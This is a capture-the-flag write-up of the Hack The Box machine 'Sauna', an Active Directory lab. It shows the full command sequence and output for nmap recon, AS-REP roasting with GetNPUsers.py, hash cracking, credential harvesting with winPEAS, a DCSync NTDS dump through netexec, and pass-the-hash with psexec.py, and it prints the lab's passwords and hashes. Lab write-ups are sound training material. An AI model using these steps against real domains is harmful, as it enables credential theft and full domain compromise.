---
title: "HTB(W) - Sauna"
date: 2024-07-02
draft: false
---

```bash
┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 10.10.10.175                            
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 11:48 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.10.175
Host is up (0.045s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-02 22:50:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-02T22:51:03
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   43.84 ms 10.10.14.1
2   44.95 ms 10.10.10.175

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.21 seconds
```

ldapsearch, getadusers, smbclient - we don't get any users with anonymous bind, and smbclient we can login anonymously to, but we don't actually get any files. 

on the about page of the webserver, there is some full names: 

```bash
Sophie Driver
Shaun Coins
Bowie Taylor
Fergus Smith
Hugo Bear
Steven Kerb
```

### OSINT - creating usernames with UsernameAnarchy
[[Creating usernames]]

Once we have created some usernames using OSINT from the website, we can use impacket's GETNPUser.py and attempt an ASREPRoasting attack to extract a hash from user accounts that do not require kerberos pre-authentication. The way this works is: 
- Kerberos pre-auth : DISABLED for a user
- Pre-auth is a feature of Kerberos that defends against password-guessing attacks. 
- In some cases - Applications require this setting to be enabled for their service account. 
- When pre-auth is NOT enforced, you can send a dummy request for authentication. 
- The KDC / Domain Controller will check the authentication service request (AS-REQ), verify user information, and return an encrypted Ticket-Granting-Ticket (TGT)
- The TGT contains timestamp, and is encrypted with NTLM hash of the corresponding account. A hash can be derived from this, and you can crack it using hashcat. 

We pass in our usernames from username-anarchy into `GetNPUsers.py` with a simple bash script.  

```bash
while read p; do GetNPUsers.py egotistical-bank.local/"$p" -request -no-pass -dc-ip 10.10.10.175 >> hashes.txt; done < sauna.txt
```

```bash
[*] Getting TGT for ferguss
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a055fb84035b4f94bd69b5ef56570906$fefade0a08da86afda75d4c67f36f2572b2efa14c7012eec6cff46d5944690ca54864401b0614a950634021050dd7ef5cff657b1077ae4036738cf364d40a5bd3d326a94b076953f3672e9f932845031f5b28d07c174f14f45f288438ee6a3eab30c6e7ac614ba7f37095a0886b8b5e0001e007fa02749a8c258d540252ef1b71e567fbc47927cd07404de20b3570c41bc64bf6a7e6568cba14dff2abbfdd1ec00ef9fb3323329952424c0a62e7d41f6662fefd98f926c4ea67fe54d74c899eb090385ad34b55a53dd953ebba6f873fcfe2bcddd0f7c80c9fa859dd9a9edc41ec6f88a6bbdbaf88f70d3c5d7b50af3fa7372c25d69e2046480ebfc33f2cfa465
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for hugo
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Impacket v0.11.0 - Copyright 2023 Fortra
```

GetNPUsers.py -> 
```bash
# Description:
#   This script will attempt to list and get TGTs for those users that have the property
#   'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
#   For those users with such configuration, a John The Ripper output will be generated so
#   you can send it for cracking.
```

---
hashcat was able to figure it out as usual:
```bash
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a055fb84035b4f94bd69b5ef56570906$fefade0a08da86afda75d4c67f36f2572b2efa14c7012eec6cff46dd5944690ca54864401b0614a950634021050dd7ef5cff657b1077ae4036738cf364d40a5bd3d326a94b076953f3672e9f932845031f5b28d07c174f14f45f288438eee6a3eab30c6e7ac614ba7f37095a0886b8b5e0001e007fa02749a8c258d540252ef1b71e567fbc47927cd07404de20b3570c41bc64bf6a7e6568cba14dff2abbfdd1eec00ef9fb3323329952424c0a62e7d41f6662fefd98f926c4ea67fe54d74c899eb090385ad34b55a53dd953ebba6f873fcfe2bcddd0f7c80c9fa859dd9a9edc41ec6ff88a6bbdbaf88f70d3c5d7b50af3fa7372c25d69e2046480ebfc33f2cfa465:Thestrokes23
```

`fsmith:Thestrokes23`
we got a new user with --users in netexec: 
`hsmith` , adding this to user file

checking evil-winrm we are able to login and get the user flag for fsmith 

now lets actually try to enumerate ourselves a little bit you little cheater
winpeas: 
```bash
ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!
```

We have DCSync privileges according to bloodhound on this domain 
![](/img/Pasted image 20240702151210.png)

lets just try it /shrug

[[Bloodhound#Help DCSync attack]]

the writeup actually didn't work exactly, but hey! that's the fuckery of it all. luckily, you don't actually need secretsdump.py because apparently a lot of the functionality is contained within netexec. we are able to dump the ntds of the administrator user using netexec: 


```bash
┌──(root㉿kali)-[~]
└─# nxc smb 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' --ntds --user Administrator
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! 
SMB         10.10.10.175    445    SAUNA            [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.10.10.175    445    SAUNA            [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.10.10.175    445    SAUNA            Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

```

and we can PASS THAT HASH BABY using psexec.py 

```bash
┌──(root㉿kali)-[~]
└─# psexec.py egotistical-bank.local/administrator@10.10.10.175 -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' 
[...]
C:\Windows\system32> whoami
nt authority\system
```

Summary: 

We got an initial foothold on this box by using basic OSINT principles - The website gave us some potential usernames through the form of (FIRSTNAME.LASTNAME)
We slice n dice'd those usernames up by using UsernameAnarchy github script. 

After we got a list of usernames, we were able to get an NTLM hash for a valid user in the domain using `GetNPUsers.py` Impacket script. This works due to the explanation above, but it's an exploitation of kerberos pre-authentication being disabled. Since we were able to get an NTLM hash, we evil-winrm'd into the box. 

After we had a remote shell as user, we ran winPEAS64.exe and were able to dump local user passwords stored in the machine for `svc_loanmgr`. This user also had remote privileges. Using the remote privileges svc_loanmgr had, we used bloodhound-python to collect the shortest path to domain admin. Part of the output of shortest path to domain admin showed that svc_loanmgr had DCSync privileges. 

Using DCSync privileges, we are able to dump the NTDS hash of the administrator user using NetExec. It was unnecessary to try and crack this hash (and I likely don't believe it's possible), because we could directly Pass-The-Hash and login to the administrator account using this hash on the DC with psexec.py 
